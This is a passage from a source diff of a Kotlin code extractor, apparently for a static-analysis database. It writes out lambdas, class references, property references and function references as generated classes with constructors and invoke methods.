+                        getIrStubFromDescriptor() { it.generateClassStub(e.symbol.descriptor) }
+                    } ?: return
+
+                    val instance = if (c.isCompanion) useCompanionObjectClassInstance(c) else useObjectClassInstance(c)
+
+                    if (instance != null) {
+                        val id = tw.getFreshIdLabel<DbVaraccess>()
+                        val type = useType(e.type)
+                        val locId = tw.getLocation(e)
+                        tw.writeExprs_varaccess(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                        tw.writeHasLocation(id, locId)
+                        tw.writeCallableEnclosingExpr(id, callable)
+                        tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                        tw.writeVariableBinding(id, instance.id)
+                    }
+                }
+                is IrFunctionReference -> {
+                    extractFunctionReference(e, parent, callable)
+                }
+                is IrFunctionExpression -> {
+                    /*
+                     * Extract generated class:
+                     * ```
+                     * class C : Any, kotlin.FunctionI<T0,T1, ... TI, R> {
+                     *   constructor() { super(); }
+                     *   fun invoke(a0:T0, a1:T1, ... aI: TI): R { ... }
+                     * }
+                     * ```
+                     * or in case of big arity lambdas
+                     * ```
+                     * class C : Any, kotlin.FunctionN<R> {
+                     *   constructor() { super(); }
+                     *   fun invoke(a0:T0, a1:T1, ... aI: TI): R { ... }
+                     *   fun invoke(vararg args: Any?): R {
+                     *     return invoke(args[0] as T0, args[1] as T1, ..., args[I] as TI)
+                     *   }
+                     * }
+                     * ```
+                     **/
+
+                    val ids = getLocallyVisibleFunctionLabels(e.function)
+                    val locId = tw.getLocation(e)
+
+                    val ext = e.function.extensionReceiverParameter
+                    val parameters = if (ext != null) {
+                        listOf(ext) + e.function.valueParameters
+                    } else {
+                        e.function.valueParameters
+                    }
+
+                    var types = parameters.map { it.type }
+                    types += e.function.returnType
+
+                    val fnInterfaceType = getFunctionalInterfaceType(types)
+                    val id = extractGeneratedClass(
+                        e.function, // We're adding this function as a member, and changing its name to `invoke` to implement `kotlin.FunctionX<,,,>.invoke(,,)`
+                        listOf(pluginContext.irBuiltIns.anyType, fnInterfaceType))
+
+                    val isBigArity = types.size > BuiltInFunctionArity.BIG_ARITY
+                    if (isBigArity) {
+                        implementFunctionNInvoke(e.function, ids, locId, parameters)
+                    } else {
+                        addModifiers(ids.function, "override")
+                    }
+
+                    val exprParent = parent.expr(e, callable)
+                    val idLambdaExpr = tw.getFreshIdLabel<DbLambdaexpr>()
+                    tw.writeExprs_lambdaexpr(idLambdaExpr, ids.type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(idLambdaExpr, ids.type.kotlinResult.id)
+                    tw.writeHasLocation(idLambdaExpr, locId)
+                    tw.writeCallableEnclosingExpr(idLambdaExpr, callable)
+                    tw.writeStatementEnclosingExpr(idLambdaExpr, exprParent.enclosingStmt)
+                    tw.writeCallableBinding(idLambdaExpr, ids.constructor)
+
+                    extractTypeAccessRecursive(fnInterfaceType, locId, idLambdaExpr, -3, callable, exprParent.enclosingStmt)
+
+                    // todo: fix hard coded block body of lambda
+                    tw.writeLambdaKind(idLambdaExpr, 1)
+
+                    tw.writeIsAnonymClass(id, idLambdaExpr)
+                }
+                is IrClassReference -> {
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbTypeliteral>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_typeliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                    extractTypeAccessRecursive(e.classType, locId, id, 0, callable, exprParent.enclosingStmt)
+                }
+                is IrPropertyReference -> {
+                    extractPropertyReference("property reference", e, e.getter, e.setter, e.field, parent, callable)
+                }
+                is IrLocalDelegatedPropertyReference -> {
+                    extractPropertyReference("local delegated property reference", e, e.getter, e.setter, null, parent, callable)
+                }
+                else -> {
+                    logger.errorElement("Unrecognised IrExpression: " + e.javaClass, e)
+                }
+            }
+            return
+        }
+    }
+
+    private fun IrValueParameter.isExtensionReceiver(): Boolean {
+        val parentFun = parent as? IrFunction ?: return false
+        return parentFun.extensionReceiverParameter == this
+    }
+
+    private open inner class GeneratedClassHelper(protected val locId: Label<DbLocation>, protected val ids: GeneratedClassLabels) {
+        protected val classId = ids.type.javaResult.id.cast<DbClass>()
+
+        fun writeExpressionMetadataToTrapFile(id: Label<out DbExpr>, callable: Label<out DbCallable>, stmt: Label<out DbStmt>) {
+            tw.writeHasLocation(id, locId)
+            tw.writeCallableEnclosingExpr(id, callable)
+            tw.writeStatementEnclosingExpr(id, stmt)
+        }
+
+        /**
+         * Extract a parameter to field assignment, such as `this.field = paramName` below:
+         * ```
+         * constructor(paramName: type) {
+         *   this.field = paramName
+         * }
+         * ```
+         */
+        fun extractParameterToFieldAssignmentInConstructor(
+            paramName: String,
+            paramType: IrType,
+            fieldId: Label<DbField>,
+            paramIdx: Int,
+            stmtIdx: Int
+        ) {
+            val paramId = tw.getFreshIdLabel<DbParam>()
+            val paramTypeRes = extractValueParameter(paramId, paramType, paramName, locId, ids.constructor, paramIdx, null, paramId, false)
+
+            val assignmentStmtId = tw.getFreshIdLabel<DbExprstmt>()
+            tw.writeStmts_exprstmt(assignmentStmtId, ids.constructorBlock, stmtIdx, ids.constructor)
+            tw.writeHasLocation(assignmentStmtId, locId)
+
+            val assignmentId = tw.getFreshIdLabel<DbAssignexpr>()
+            tw.writeExprs_assignexpr(assignmentId, paramTypeRes.javaResult.id, assignmentStmtId, 0)
+            tw.writeExprsKotlinType(assignmentId, paramTypeRes.kotlinResult.id)
+            writeExpressionMetadataToTrapFile(assignmentId, ids.constructor, assignmentStmtId)
+
+            val lhsId = tw.getFreshIdLabel<DbVaraccess>()
+            tw.writeExprs_varaccess(lhsId, paramTypeRes.javaResult.id, assignmentId, 0)
+            tw.writeExprsKotlinType(lhsId, paramTypeRes.kotlinResult.id)
+            tw.writeVariableBinding(lhsId, fieldId)
+            writeExpressionMetadataToTrapFile(lhsId, ids.constructor, assignmentStmtId)
+
+            val thisId = tw.getFreshIdLabel<DbThisaccess>()
+            tw.writeExprs_thisaccess(thisId, ids.type.javaResult.id, lhsId, -1)
+            tw.writeExprsKotlinType(thisId, ids.type.kotlinResult.id)
+            writeExpressionMetadataToTrapFile(thisId, ids.constructor, assignmentStmtId)
+
+            val rhsId = tw.getFreshIdLabel<DbVaraccess>()
+            tw.writeExprs_varaccess(rhsId, paramTypeRes.javaResult.id, assignmentId, 1)
+            tw.writeExprsKotlinType(rhsId, paramTypeRes.kotlinResult.id)
+            tw.writeVariableBinding(rhsId, paramId)
+            writeExpressionMetadataToTrapFile(rhsId, ids.constructor, assignmentStmtId)
+        }
+    }
+
+    private open inner class CallableReferenceHelper(protected val callableReferenceExpr: IrCallableReference<out IrSymbol>, locId: Label<DbLocation>, ids: GeneratedClassLabels)
+        : GeneratedClassHelper(locId, ids) {
+
+        private val dispatchReceiver = callableReferenceExpr.dispatchReceiver
+        private val extensionReceiver = callableReferenceExpr.extensionReceiver
+        private val receiverType = callableReferenceExpr.dispatchReceiver?.type ?: callableReferenceExpr.extensionReceiver?.type
+
+        private val dispatchFieldId: Label<DbField>? = if (dispatchReceiver != null) tw.getFreshIdLabel() else null
+        private val extensionFieldId: Label<DbField>? = if (extensionReceiver != null) tw.getFreshIdLabel() else null
+        private val extensionParameterIndex: Int = if (dispatchReceiver != null) 1 else 0
+
+        fun extractReceiverField() {
+            val firstAssignmentStmtIdx = 1
+
+            // only one of the following can be non-null:
+            if (dispatchReceiver != null) {
+                extractField(dispatchFieldId!!, "<dispatchReceiver>", receiverType!!, classId, locId, DescriptorVisibilities.PRIVATE, callableReferenceExpr, isExternalDeclaration = false, isFinal = true)
+                extractParameterToFieldAssignmentInConstructor("<dispatchReceiver>", dispatchReceiver.type, dispatchFieldId, 0, firstAssignmentStmtIdx)
+            }
+
+            if (extensionReceiver != null) {
+                extractField(extensionFieldId!!, "<extensionReceiver>", receiverType!!, classId, locId, DescriptorVisibilities.PRIVATE, callableReferenceExpr, isExternalDeclaration = false, isFinal = true)
+                extractParameterToFieldAssignmentInConstructor( "<extensionReceiver>", extensionReceiver.type, extensionFieldId, 0 + extensionParameterIndex, firstAssignmentStmtIdx + extensionParameterIndex)
+            }
+        }
+
+        protected fun writeVariableAccessInFunctionBody(pType: TypeResults, idx: Int, variable: Label<out DbVariable>,
+                                                      parent: Label<out DbExprparent>, callable: Label<out DbCallable>, stmt: Label<out DbStmt>
+        ): Label<DbVaraccess> {
+            val pId = tw.getFreshIdLabel<DbVaraccess>()
+            tw.writeExprs_varaccess(pId, pType.javaResult.id, parent, idx)
+            tw.writeExprsKotlinType(pId, pType.kotlinResult.id)
+            tw.writeVariableBinding(pId, variable)
+            writeExpressionMetadataToTrapFile(pId, callable, stmt)
+            return pId
+        }
+
+        private fun writeFieldAccessInFunctionBody(pType: IrType, idx: Int, variable: Label<out DbField>,
+                                                   parent: Label<out DbExprparent>, callable: Label<out DbCallable>, stmt: Label<out DbStmt>) {
+            val accessId = writeVariableAccessInFunctionBody(useType(pType), idx, variable, parent, callable, stmt)
+            writeThisAccess(accessId, callable, stmt)
+        }
+
+        protected fun writeThisAccess(parent: Label<out DbExprparent>, callable: Label<out DbCallable>, stmt: Label<out DbStmt>) {
+            val thisId = tw.getFreshIdLabel<DbThisaccess>()
+            tw.writeExprs_thisaccess(thisId, ids.type.javaResult.id, parent, -1)
+            tw.writeExprsKotlinType(thisId, ids.type.kotlinResult.id)
+            writeExpressionMetadataToTrapFile(thisId, callable, stmt)
+        }
+
+        fun extractFieldWriteOfReflectionTarget(
+            labels: FunctionLabels,         // labels of the containing function
+            target: IrFieldSymbol,          // the target field being accessed)
+        ) {
+            // ...;
+            val exprStmtId = tw.getFreshIdLabel<DbExprstmt>()
+            tw.writeStmts_exprstmt(exprStmtId, labels.blockId, 0, labels.methodId)
+            tw.writeHasLocation(exprStmtId, locId)
+
+            val fieldType = useType(target.owner.type)
+
+            // ... = ...
+            val assignExprId = tw.getFreshIdLabel<DbAssignexpr>()
+            tw.writeExprs_assignexpr(assignExprId, fieldType.javaResult.id, exprStmtId, 0)
+            tw.writeExprsKotlinType(assignExprId, fieldType.kotlinResult.id)
+            writeExpressionMetadataToTrapFile(assignExprId, labels.methodId, exprStmtId)
+
+            // LHS
+            extractFieldAccess(fieldType, assignExprId, exprStmtId, labels, target)
+
+            // RHS
+            val p = labels.parameters.first()
+            writeVariableAccessInFunctionBody(p.second, 1, p.first, assignExprId, labels.methodId, exprStmtId)
+        }
+
+        fun extractFieldReturnOfReflectionTarget(
+            labels: FunctionLabels,         // labels of the containing function
+            target: IrFieldSymbol,          // the target field being accessed
+        ) {
+            val retId = tw.getFreshIdLabel<DbReturnstmt>()
+            tw.writeStmts_returnstmt(retId, labels.blockId, 0, labels.methodId)
+            tw.writeHasLocation(retId, locId)
+
+            val fieldType = useType(target.owner.type)
+            extractFieldAccess(fieldType, retId, retId, labels, target)
+        }
+
+        private fun extractFieldAccess(
+            fieldType: TypeResults,
+            parent: Label<out DbExprparent>,
+            stmt: Label<out DbStmt>,
+            labels: FunctionLabels,
+            target: IrFieldSymbol
+        ) {
+            val accessId = tw.getFreshIdLabel<DbVaraccess>()
+            tw.writeExprs_varaccess(accessId, fieldType.javaResult.id, parent, 0)
+            tw.writeExprsKotlinType(accessId, fieldType.kotlinResult.id)
+
+            writeExpressionMetadataToTrapFile(accessId, labels.methodId, stmt)
+
+            val fieldId = useField(target.owner)
+            tw.writeVariableBinding(accessId, fieldId)
+
+            if (dispatchReceiver != null) {
+                writeFieldAccessInFunctionBody(receiverType!!, -1, dispatchFieldId!!, accessId, labels.methodId, stmt)
+            }
+        }
+
+        /**
+         * Extracts a call to `target` inside the function identified by `labels`. Special parameters (`dispatch` and `extension`) are also handled.
+         *
+         * Examples are:
+         * ```
+         * this.<dispatchReceiver>.fn(this.<extensionReceiver>, param1, param2, param3, ...)
+         * param1.fn(this.<extensionReceiver>, param2, ...)
+         * param1.fn(param2, param3, ...)
+         * fn(this.<extensionReceiver>, param1, param2, ...)
+         * fn(param1, param2, ...)
+         * new MyType(param1, param2, ...)
+         * ```
+         *
+         * The parameters with default argument values cover special cases:
+         * - dispatchReceiverIdx is usually -1, except if a constructor is referenced
+         * - big arity function references need to call `invoke` with arguments received in an object array: `fn(param1[0] as T0, param1[1] as T1, ...)`
+         */
+        fun extractCallToReflectionTarget(
+            labels: FunctionLabels,         // labels of the containing function
+            target: IrFunctionSymbol,       // the target function/constructor being called
+            returnType: IrType,             // the return type of the called function. Note that `target.owner.returnType` and `returnType` doesn't match for generic functions
+            expressionTypeArgs: List<IrType>,                           // type arguments of the extracted expression
+            classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?,  // type arguments of the class containing the callable reference
+            dispatchReceiverIdx: Int = -1,                              // dispatch receiver index: -1 in case of functions, -2 for constructors
+            isBigArity: Boolean = false,                                // whether a big arity `invoke` is being extracted
+            bigArityParameterTypes: List<IrType>? = null                // parameter types used for the cast expressions in the big arity `invoke` invocation
+        ) {
+            // Return statement of generated function:
+            val retId = tw.getFreshIdLabel<DbReturnstmt>()
+            tw.writeStmts_returnstmt(retId, labels.blockId, 0, labels.methodId)
+            tw.writeHasLocation(retId, locId)
+
+            // Call to target function:
+            val callType = useType(returnType)
+
+            val callId: Label<out DbExpr> = if (target is IrConstructorSymbol) {
+                val callId = tw.getFreshIdLabel<DbNewexpr>()
+                tw.writeExprs_newexpr(callId, callType.javaResult.id, retId, 0)
+                tw.writeExprsKotlinType(callId, callType.kotlinResult.id)
+
+                extractConstructorTypeAccess(returnType, callType, target, locId, callId, -3, labels.methodId, retId)
+                callId
+            } else {
+                val callId = tw.getFreshIdLabel<DbMethodaccess>()
+                tw.writeExprs_methodaccess(callId, callType.javaResult.id, retId, 0)
+                tw.writeExprsKotlinType(callId, callType.kotlinResult.id)
+                extractTypeArguments(expressionTypeArgs, locId, callId, labels.methodId, retId, -2, true)
+                callId
+            }
+
+            writeExpressionMetadataToTrapFile(callId, labels.methodId, retId)
+
+            val callableId = useFunction<DbCallable>(target.owner.realOverrideTarget, classTypeArgsIncludingOuterClasses)
+            tw.writeCallableBinding(callId.cast<DbCaller>(), callableId)
+
+            val useFirstArgAsDispatch: Boolean
+            if (dispatchReceiver != null) {
+                writeFieldAccessInFunctionBody(receiverType!!, dispatchReceiverIdx, dispatchFieldId!!, callId, labels.methodId, retId)
+
+                useFirstArgAsDispatch = false
+            } else {
+                if (target.owner.isLocalFunction()) {
+                    val ids = getLocallyVisibleFunctionLabels(target.owner)
+                    extractNewExprForLocalFunction(ids, callId, locId, labels.methodId, retId)
+                    useFirstArgAsDispatch = false
+                }
+                else {
+                    useFirstArgAsDispatch = target.owner.dispatchReceiverParameter != null
+
+                    if (isStaticFunction(target.owner)) {
+                        extractStaticTypeAccessQualifier(target.owner, callId, locId, labels.methodId, retId)
+                    }
+                }
+            }
+
+            val extensionIdxOffset: Int
+            if (extensionReceiver != null) {
+                writeFieldAccessInFunctionBody(receiverType!!, 0, extensionFieldId!!, callId, labels.methodId, retId)
+                extensionIdxOffset = 1
+            } else {
+                extensionIdxOffset = 0
+            }
+
+            if (isBigArity) {
+                // In case we're extracting a big arity function reference:
+                addArgumentsToInvocationInInvokeNBody(
+                    bigArityParameterTypes!!, labels, retId, callId, locId,
+                    { exp -> writeExpressionMetadataToTrapFile(exp, labels.methodId, retId) },
+                    extensionIdxOffset, useFirstArgAsDispatch, dispatchReceiverIdx)
+            } else {
+                val dispatchIdxOffset = if (useFirstArgAsDispatch) 1 else 0
+                for ((pIdx, p) in labels.parameters.withIndex()) {
+                    val childIdx = if (pIdx == 0 && useFirstArgAsDispatch) {
+                        dispatchReceiverIdx
+                    } else {
+                        pIdx + extensionIdxOffset - dispatchIdxOffset
+                    }
+                    writeVariableAccessInFunctionBody(p.second, childIdx, p.first, callId, labels.methodId, retId)
+                }
+            }
+        }
+
+        fun extractConstructorArguments(
+            callable: Label<out DbCallable>,
+            idCtorRef: Label<out DbClassinstancexpr>,
+            enclosingStmt: Label<out DbStmt>
+        ) {
+            if (dispatchReceiver != null) {
+                extractExpressionExpr(dispatchReceiver, callable, idCtorRef, 0, enclosingStmt)
+            }
+
+            if (extensionReceiver != null) {
+                extractExpressionExpr(extensionReceiver, callable, idCtorRef, 0 + extensionParameterIndex, enclosingStmt)
+            }
+        }
+    }
+
+    private inner class PropertyReferenceHelper(callableReferenceExpr: IrCallableReference<out IrSymbol>, locId: Label<DbLocation>, ids: GeneratedClassLabels)
+        : CallableReferenceHelper(callableReferenceExpr, locId, ids) {
+
+        fun extractPropertyReferenceInvoke(
+            getId: Label<DbMethod>,
+            getterParameterTypes: List<IrType>,
+            getterReturnType: IrType
+        ) {
+            // Extracting this method is not (strictly) needed for interface member implementation.
+            // `[Mutable]PropertyReferenceX` already implements it, but its signature doesn't match the
+            // generic one, because it's a raw method implementation. Also, by adding the `invoke` explicitly,
+            // we have better data flow analysis support.
+            val invokeLabels = addFunctionManual(tw.getFreshIdLabel(), OperatorNameConventions.INVOKE.asString(), getterParameterTypes, getterReturnType, classId, locId)
+
+            // return this.get(a0, a1, ...)
+            val retId = tw.getFreshIdLabel<DbReturnstmt>()
+            tw.writeStmts_returnstmt(retId, invokeLabels.blockId, 0, invokeLabels.methodId)
+            tw.writeHasLocation(retId, locId)
+
+            // Call to target function:
+            val callType = useType(getterReturnType)
+            val callId = tw.getFreshIdLabel<DbMethodaccess>()
+            tw.writeExprs_methodaccess(callId, callType.javaResult.id, retId, 0)
+            tw.writeExprsKotlinType(callId, callType.kotlinResult.id)
+            this.writeExpressionMetadataToTrapFile(callId, invokeLabels.methodId, retId)
+
+            tw.writeCallableBinding(callId as Label<out DbCaller>, getId)
+
+            this.writeThisAccess(callId, invokeLabels.methodId, retId)
+            for ((pIdx, p) in invokeLabels.parameters.withIndex()) {
+                this.writeVariableAccessInFunctionBody(p.second, pIdx, p.first, callId, invokeLabels.methodId, retId)
+            }
+        }
+    }
+
+    private fun extractPropertyReference(
+        exprKind: String,
+        propertyReferenceExpr: IrCallableReference<out IrSymbol>,
+        getter: IrSimpleFunctionSymbol?,
+        setter: IrSimpleFunctionSymbol?,
+        backingField: IrFieldSymbol?,
+        parent: StmtExprParent,
+        callable: Label<out DbCallable>
+    ) {
+        with(exprKind, propertyReferenceExpr) {
+            /*
+             * Extract generated class:
+             * ```
+             * class C : kotlin.jvm.internal.PropertyReference, kotlin.reflect.KMutableProperty0<R> {
+             *   private dispatchReceiver: TD
+             *   constructor(dispatchReceiver: TD) {
+             *       super()
+             *       this.dispatchReceiver = dispatchReceiver
+             *   }
+             *
+             *   fun get(): R { return this.dispatchReceiver.FN1() }
+             *
+             *   fun set(a0: R): Unit { return this.dispatchReceiver.FN2(a0) }
+             * }
+             * ```
+             *
+             * Variations:
+             * - KProperty vs KMutableProperty
+             * - KProperty0<> vs KProperty1<,>
+             * - no receiver vs dispatchReceiver vs extensionReceiver
+             **/
+
+            val kPropertyType = propertyReferenceExpr.type
+            if (kPropertyType !is IrSimpleType) {
+                logger.errorElement("Unexpected: property reference with non simple type. ${kPropertyType.classFqName?.asString()}", propertyReferenceExpr)
+                return
+            }
+
+            val locId = tw.getLocation(propertyReferenceExpr)
+
+            val javaResult = TypeResult(tw.getFreshIdLabel<DbClass>(), "", "")
+            val kotlinResult = TypeResult(tw.getFreshIdLabel<DbKt_notnull_type>(), "", "")
+            tw.writeKt_notnull_types(kotlinResult.id, javaResult.id)
+            val ids = GeneratedClassLabels(
+                TypeResults(javaResult, kotlinResult),
+                constructor = tw.getFreshIdLabel(),
+                constructorBlock = tw.getFreshIdLabel()
+            )
+
+            val currentDeclaration = declarationStack.peek()
+            val prefix = if (kPropertyType.classOrNull!!.owner.name.asString().startsWith("KMutableProperty")) "Mutable" else ""
+            val baseClass = pluginContext.referenceClass(FqName("kotlin.jvm.internal.${prefix}PropertyReference${kPropertyType.arguments.size - 1}"))?.owner?.typeWith()
+                ?: pluginContext.irBuiltIns.anyType
+
+            val classId = extractGeneratedClass(ids, listOf(baseClass, kPropertyType), locId, currentDeclaration)
+
+            val helper = PropertyReferenceHelper(propertyReferenceExpr, locId, ids)
+            val parameterTypes = kPropertyType.arguments.map { it as IrType }
+
+            helper.extractReceiverField()
+
+            val classTypeArguments = (propertyReferenceExpr.dispatchReceiver?.type as? IrSimpleType)?.arguments ?:
+                if ((getter?.owner?.dispatchReceiverParameter ?: setter?.owner?.dispatchReceiverParameter )!= null) { (kPropertyType.arguments.first() as? IrSimpleType)?.arguments } else { null }
+
+            val expressionTypeArguments = (0 until propertyReferenceExpr.typeArgumentsCount).mapNotNull { propertyReferenceExpr.getTypeArgument(it) }
+
+            val idPropertyRef = tw.getFreshIdLabel<DbPropertyref>()
+
+            val getterParameterTypes = parameterTypes.dropLast(1)
+            val getterReturnType = parameterTypes.last()
+
+            if (getter != null) {
+                val getLabels = addFunctionManual(tw.getFreshIdLabel(), OperatorNameConventions.GET.asString(), getterParameterTypes, getterReturnType, classId, locId)
+                val getterCallableId = useFunction<DbCallable>(getter.owner.realOverrideTarget, classTypeArguments)
+
+                helper.extractCallToReflectionTarget(
+                    getLabels,
+                    getter,
+                    getterReturnType,
+                    expressionTypeArguments,
+                    classTypeArguments
+                )
+
+                tw.writePropertyRefGetBinding(idPropertyRef, getterCallableId)
+
+                helper.extractPropertyReferenceInvoke(getLabels.methodId, getterParameterTypes, getterReturnType)
+            } else {
+                // Property without a getter.
+                if (backingField == null) {
+                    logger.errorElement("Expected to find getter or backing field for property reference.", propertyReferenceExpr)
+                    return
+                }
+
+                val getLabels = addFunctionManual(tw.getFreshIdLabel(), OperatorNameConventions.GET.asString(), getterParameterTypes, getterReturnType, classId, locId)
+                val fieldId = useField(backingField.owner)
+
+                helper.extractFieldReturnOfReflectionTarget(
+                    getLabels,
+                    backingField)
+
+                tw.writePropertyRefFieldBinding(idPropertyRef, fieldId)
+
+                helper.extractPropertyReferenceInvoke(getLabels.methodId, getterParameterTypes, getterReturnType)
+            }
+
+            if (setter != null) {
+                val setLabels = addFunctionManual(tw.getFreshIdLabel(), OperatorNameConventions.SET.asString(), parameterTypes, pluginContext.irBuiltIns.unitType, classId, locId)
+
+                val setterCallableId = useFunction<DbCallable>(setter.owner.realOverrideTarget, classTypeArguments)
+
+                helper.extractCallToReflectionTarget(
+                    setLabels,
+                    setter,
+                    pluginContext.irBuiltIns.unitType,
+                    expressionTypeArguments,
+                    classTypeArguments
+                )
+
+                tw.writePropertyRefSetBinding(idPropertyRef, setterCallableId)
+            } else {
+                if (backingField != null && !backingField.owner.isFinal) {
+                    val setLabels = addFunctionManual(tw.getFreshIdLabel(), OperatorNameConventions.SET.asString(), parameterTypes, pluginContext.irBuiltIns.unitType, classId, locId)
+                    val fieldId = useField(backingField.owner)
+
+                    helper.extractFieldWriteOfReflectionTarget(
+                        setLabels,
+                        backingField)
+
+                    tw.writePropertyRefFieldBinding(idPropertyRef, fieldId)
+                }
+            }
+
+            // Add constructor (property ref) call:
+            val exprParent = parent.expr(propertyReferenceExpr, callable)
+            tw.writeExprs_propertyref(idPropertyRef, ids.type.javaResult.id, exprParent.parent, exprParent.idx)
+            tw.writeExprsKotlinType(idPropertyRef, ids.type.kotlinResult.id)
+            tw.writeHasLocation(idPropertyRef, locId)
+            tw.writeCallableEnclosingExpr(idPropertyRef, callable)
+            tw.writeStatementEnclosingExpr(idPropertyRef, exprParent.enclosingStmt)
+            tw.writeCallableBinding(idPropertyRef, ids.constructor)
+
+            extractTypeAccessRecursive(kPropertyType, locId, idPropertyRef, -3, callable, exprParent.enclosingStmt)
+
+            helper.extractConstructorArguments(callable, idPropertyRef, exprParent.enclosingStmt)
+
+            tw.writeIsAnonymClass(classId, idPropertyRef)
+        }
+    }
+
+    private fun extractFunctionReference(
+        functionReferenceExpr: IrFunctionReference,
+        parent: StmtExprParent,
+        callable: Label<out DbCallable>
+    ) {
+        with("function reference", functionReferenceExpr) {
+            val target = functionReferenceExpr.reflectionTarget ?: run {
+                logger.warnElement("Expected to find reflection target for function reference. Using underlying symbol instead.", functionReferenceExpr)
+                functionReferenceExpr.symbol
+            }
+
+            /*
+             * Extract generated class:
+             * ```
+             * class C : kotlin.jvm.internal.FunctionReference, kotlin.FunctionI<T0,T1, ... TI, R> {
+             *   private dispatchReceiver: TD
+             *   private extensionReceiver: TE
+             *   constructor(dispatchReceiver: TD, extensionReceiver: TE) {
+             *       super()
+             *       this.dispatchReceiver = dispatchReceiver
+             *       this.extensionReceiver = extensionReceiver
+             *   }
+             *   fun invoke(a0:T0, a1:T1, ... aI: TI): R { return this.dispatchReceiver.FN(a0,a1,...,aI) }                       OR
+             *   fun invoke(       a1:T1, ... aI: TI): R { return this.dispatchReceiver.FN(this.dispatchReceiver,a1,...,aI) }    OR
+             *   fun invoke(a0:T0, a1:T1, ... aI: TI): R { return Ctor(a0,a1,...,aI) }
+             * }
+             * ```
+             * or in case of big arity lambdas ????
+             * ```
+             * class C : kotlin.jvm.internal.FunctionReference, kotlin.FunctionN<R> {
+             *   private receiver: TD
+             *   constructor(receiver: TD) { super(); this.receiver = receiver; }
+             *   fun invoke(vararg args: Any?): R {
+             *     return this.receiver.FN(args[0] as T0, args[1] as T1, ..., args[I] as TI)
+             *   }
+             * }
+             * ```
+             **/
+
+            if (functionReferenceExpr.dispatchReceiver != null && functionReferenceExpr.extensionReceiver != null) {
+                logger.errorElement("Unexpected: dispatchReceiver and extensionReceiver are both non-null", functionReferenceExpr)
+                return
+            }
+
+            if (target.owner.dispatchReceiverParameter != null && target.owner.extensionReceiverParameter != null) {
+                logger.errorElement("Unexpected: dispatch and extension parameters are both non-null", functionReferenceExpr)
+                return
+            }
+
+            val type = functionReferenceExpr.type
+            if (type !is IrSimpleType) {
+                logger.errorElement("Unexpected: function reference with non simple type. ${type.classFqName?.asString()}", functionReferenceExpr)
+                return
+            }
+
+            val parameterTypes = type.arguments.map { it as IrType }
+
+            val dispatchReceiverIdx: Int
+            val expressionTypeArguments: List<IrType>
+            val classTypeArguments: List<IrTypeArgument>?
+
+            if (target is IrConstructorSymbol) {
+                // In case a constructor is referenced, the return type of the `KFunctionX<,,,>` is the type if the constructed type.
+                classTypeArguments = (type.arguments.last() as? IrSimpleType)?.arguments
+                expressionTypeArguments = listOf(parameterTypes.last())
+                dispatchReceiverIdx = -2
+            } else {
+                classTypeArguments = (functionReferenceExpr.dispatchReceiver?.type as? IrSimpleType)?.arguments
+                    ?: if (target.owner.dispatchReceiverParameter != null) { (type.arguments.first() as? IrSimpleType)?.arguments } else { null }
+                expressionTypeArguments = (0 until functionReferenceExpr.typeArgumentsCount).mapNotNull { functionReferenceExpr.getTypeArgument(it) }
+                dispatchReceiverIdx = -1
+            }
+
+            val targetCallableId = useFunction<DbCallable>(target.owner.realOverrideTarget, classTypeArguments)
+            val locId = tw.getLocation(functionReferenceExpr)
+
+            val javaResult = TypeResult(tw.getFreshIdLabel<DbClass>(), "", "")
+            val kotlinResult = TypeResult(tw.getFreshIdLabel<DbKt_notnull_type>(), "", "")
+            tw.writeKt_notnull_types(kotlinResult.id, javaResult.id)
+            val ids = LocallyVisibleFunctionLabels(
+                TypeResults(javaResult, kotlinResult),
+                constructor = tw.getFreshIdLabel(),
+                function = tw.getFreshIdLabel(),
+                constructorBlock = tw.getFreshIdLabel()
+            )
+
+            val helper = CallableReferenceHelper(functionReferenceExpr, locId, ids)
+
+            val fnInterfaceType = getFunctionalInterfaceTypeWithTypeArgs(type.arguments)
+
+            val currentDeclaration = declarationStack.peek()
+            // `FunctionReference` base class is required, because that's implementing `KFunction`.
+            val baseClass = pluginContext.referenceClass(FqName("kotlin.jvm.internal.FunctionReference"))?.owner?.typeWith()
+                ?: pluginContext.irBuiltIns.anyType
+
+            val classId = extractGeneratedClass(ids, listOf(baseClass, fnInterfaceType), locId, currentDeclaration)
+
+            helper.extractReceiverField()
+
+            val isBigArity = type.arguments.size > BuiltInFunctionArity.BIG_ARITY
+            val funLabels = if (isBigArity) {
+                addFunctionNInvoke(ids.function, parameterTypes.last(), classId, locId)
+            } else {
+                addFunctionInvoke(ids.function, parameterTypes.dropLast(1), parameterTypes.last(), classId, locId)
+            }
+
+            helper.extractCallToReflectionTarget(
+                funLabels,
+                target,
+                parameterTypes.last(),
+                expressionTypeArguments,
+                classTypeArguments,
+                dispatchReceiverIdx,
+                isBigArity,
+                parameterTypes.dropLast(1))
+
+            // Add constructor (member ref) call:
+            val exprParent = parent.expr(functionReferenceExpr, callable)
+            val idMemberRef = tw.getFreshIdLabel<DbMemberref>()
+            tw.writeExprs_memberref(idMemberRef, ids.type.javaResult.id, exprParent.parent, exprParent.idx)
+            tw.writeExprsKotlinType(idMemberRef, ids.type.kotlinResult.id)
+            tw.writeHasLocation(idMemberRef, locId)
+            tw.writeCallableEnclosingExpr(idMemberRef, callable)
+            tw.writeStatementEnclosingExpr(idMemberRef, exprParent.enclosingStmt)
+            tw.writeCallableBinding(idMemberRef, ids.constructor)
+
+            val typeAccessArguments = if (isBigArity) listOf(parameterTypes.last()) else parameterTypes
+            if (target is IrConstructorSymbol) {
+                val returnType = typeAccessArguments.last()
+
+                val typeAccessId = extractTypeAccess(useType(fnInterfaceType, TypeContext.OTHER), locId, idMemberRef, -3, callable, exprParent.enclosingStmt)
+                typeAccessArguments.dropLast(1).forEachIndexed { argIdx, arg ->
